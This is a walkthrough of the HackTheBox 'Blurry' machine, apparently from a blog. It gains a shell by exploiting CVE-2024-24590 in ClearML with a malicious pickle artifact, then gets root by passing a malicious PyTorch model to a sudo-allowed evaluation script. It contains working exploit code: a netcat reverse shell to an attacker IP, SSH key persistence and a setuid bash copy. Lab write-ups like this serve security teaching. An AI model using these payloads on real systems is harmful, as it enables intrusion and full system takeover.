Blurry from HackTheBox

Blurry from HackTheBox

This box was very interesting, starting with exploiting a vulnerability in the ClearML open-source platform, which is used to automate the development of machine learning solutions, to get a shell as a user. By exploiting CVE-2024-24590, we were able to gain initial access. The process involved creating and uploading a malicious Pickle artifact, leveraging shell code for remote code execution. After securing user access, we advanced to privilege escalation by loading a malicious model, evaluating it to gain root access, and executing a bash script. The exploitation of vulnerabilities in ClearML required careful scanning and an understanding of high severity issues to successfully execute a root shell and achieve admin-level control.

Nmap scan

First we scan the server for open ports

nmap -sV -sC 10.10.11.19 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

we have OpenSSH port 22 and web port 80 open.

Web Enumeration

Nmap shows a subdomain app.blurry.htb so let's add this to the hosts first

echo "10.10.11.19 blurry.htb app.blurry.htb" | sudo tee -a /etc/hosts

blurry.htb is just a redirection to app.blurry.htb

curl -sSL -D - -o/dev/null http://blurry.htb
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sun, 14 Jul 2024 06:20:34 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://app.blurry.htb/

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 14 Jul 2024 06:20:34 GMT
Content-Type: text/html
Content-Length: 13327
Connection: keep-alive
Last-Modified: Thu, 14 Dec 2023 09:38:26 GMT
ETag: "657acd12-340f"
Accept-Ranges: bytes

Checking http://app.blurry.htb

ClearML is an open source platform that automates and simplifies developing and managing machine learning solutions.

Providing any name gives us access to a dashboard.

Navigating to http://app.blurry.htb/settings/profile shows the following versions: WebApp: 1.13.1-426 • Server: 1.13.1-426 • API: 2.27

When trying to create new experiment, two new subdomains appears

so let's add them to the hosts as well

echo "10.10.11.19 api.blurry.htb files.blurry.htb" | sudo tee -a /etc/hosts

CVE-2024-24590

After searching a bit, I've found this article highlighting multiple CVE's

Machine Learning Operations: What You Need to Know Now | HiddenLayer
HiddenLayer’s SAI Team takes a look into how MLOps platform companies need more secure development practices and better security testing due to their widespread usage.

The most interesting one is CVE-2024-24590: Deserialization of untrusted data can occur in versions 0.17.0 to 1.14.2 of the client SDK of Allegro AI’s ClearML platform, enabling a maliciously uploaded artifact to run arbitrary code on an end user’s system when interacted with.

Exploit preparation

As per of the experiment page instructions, we can apply the steps on Kali

pip install clearml
export PATH=~/.local/bin:$PATH
clearml-init
┌──(mohammad㉿kali)-[~/htb/blurry]
└─$ clearml-init 
ClearML SDK setup process

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration) 
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".

Paste copied configuration here:
api {
  web_server: http://app.blurry.htb
  api_server: http://api.blurry.htb
  files_server: http://files.blurry.htb
  credentials {
    "access_key" = "EOZU4N9OMPYA16Q1XTRC"
    "secret_key" = "6KH3TanziQcbMiyboUV8C6m0ghCccJ2rJVhc8qSvEKDwAX4Unc"
  }
}
Detected credentials key="EOZU4N9OMPYA16Q1XTRC" secret="6KH3***"

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/mohammad/clearml.conf
ClearML setup completed successfully.

Own user

The idea is to create an exploit script that:

  • Initialize the ClearML Task
  • Define the reverse shell Command
  • Save the Command to a Pickle File
  • Upload the Pickle File as an Artifact to ClearML
import pickle
import os
from clearml import Task, Logger

# Initialize ClearML task
clearml_task = Task.init(project_name='Black Swan', task_name='test', tags=["review"])

# Define a class for the malicious payload
class ReverseShellPayload:
    def __reduce__(self):
        shell_command = (
            "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.x 4444 > /tmp/f"
        )
        return (os.system, (shell_command,))

# Create an instance of the payload class
payload_instance = ReverseShellPayload()

# Specify the pickle filename
pickle_file = 'reverse_shell_payload.pkl'

# Write the malicious object to a pickle file
with open(pickle_file, 'wb') as file:
    pickle.dump(payload_instance, file)

print("Pickle file with reverse shell payload created.")

# Upload the pickle file as an artifact to ClearML
clearml_task.upload_artifact(name='reverse_shell_payload', artifact_object=payload_instance, wait_on_upload=True, retries=2)

The ReverseShellPayload class contain a __reduce__ method. This method is used by the pickle module to specify how the object should be serialized and deserialized.

Now executing nc listener and execute the exploit from another terminal

rlwrap nc -vlp 4444
python3 exploit.py 
listening on [any] 4444 ...
connect to [10.10.14.x] from blurry.htb [10.10.11.19] 38432
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(jippity) gid=1000(jippity) groups=1000(jippity)

Best to get an ssh shell by adding our public key

echo 'ssh-rsa ......K2Xt7qQ3IsemKi2Ekb1ROxQAa8MG+C9rTOf4rtGFIMoIgYdtL/jt/Zvys+r66aIa6n+L0XfYo6Eyc= mohammad@mohammad' >> .ssh/authorized_keys

So we can just ssh afterward

└─$ ssh [email protected]
The authenticity of host 'blurry.htb (10.10.11.19)' can't be established.
ED25519 key fingerprint is SHA256:Yr2plP6C5tZyGiCNZeUYNDmsDGrfGijissa6WJo0yPY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:37: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
....
jippity@blurry:~$ wc -c user.txt 
33 user.txt
jippity@blurry:~$ 
Note: the server has an id_rsa as well that can be used to ssh as this user

Privilege escalation

First, we can try to check if the user can execute commands as root

sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

Checking /usr/bin/evaluate_model

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
    
fi

First point to check is the permission on the directory

drwxrwxr-x   2 root jippity 4.0K Jun 17 14:11 models

This user has read, write and execute permission on this dir which is a very important point.

Script explanation

The script reads a model as command line argument which should have a .pth extension with a type of tar of zip archive.

If the file is clean, the /models/evaluate_model.py will be executed otherwise the file will be just removed. The last python script is designed to load a pre-trained neural network model, prepare a test dataset, and evaluate the model's performance on that dataset. Here's a step-by-step explanation

Own root

We have to create a script that load a malicious model to execute system commands. To hide our tracks a bit, we can create a directory in /home/jippity called .exploit then create the exploit.py

The easiest way is to just copy the bash binary and give it setuid bit then start a privileged shell.

import torch
import torch.nn as nn
import os

class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.dense = nn.Linear(10, 1)

    def forward(self, x):
        return self.dense(x)

    def __reduce__(self):
        command = "cp /bin/bash /home/jippity/.exploit/bash && chmod +s /home/jippity/.exploit/bash"
        return os.system, (command,)

model_instance = CustomModel()

torch.save(model_instance, '/models/exploit.pth')

Generate the malicious model and provide it to the bash script that run with sudo

python3 exploit.py;sudo /usr/bin/evaluate_model /models/exploit.pth

Now checking the dir content

jippity@blurry:~/.exploit$ ls -lht
total 1.2M
-rwsr-sr-x 1 root    root    1.2M Jul 14 06:59 bash

Finally we can get a root shell

./bash -p
bash-5.1# wc -c /root/root.txt 
33 /root/root.txt
bash-5.1# 

The box is finally owned! Your feedback is much appreciated 😄

buy me a coffe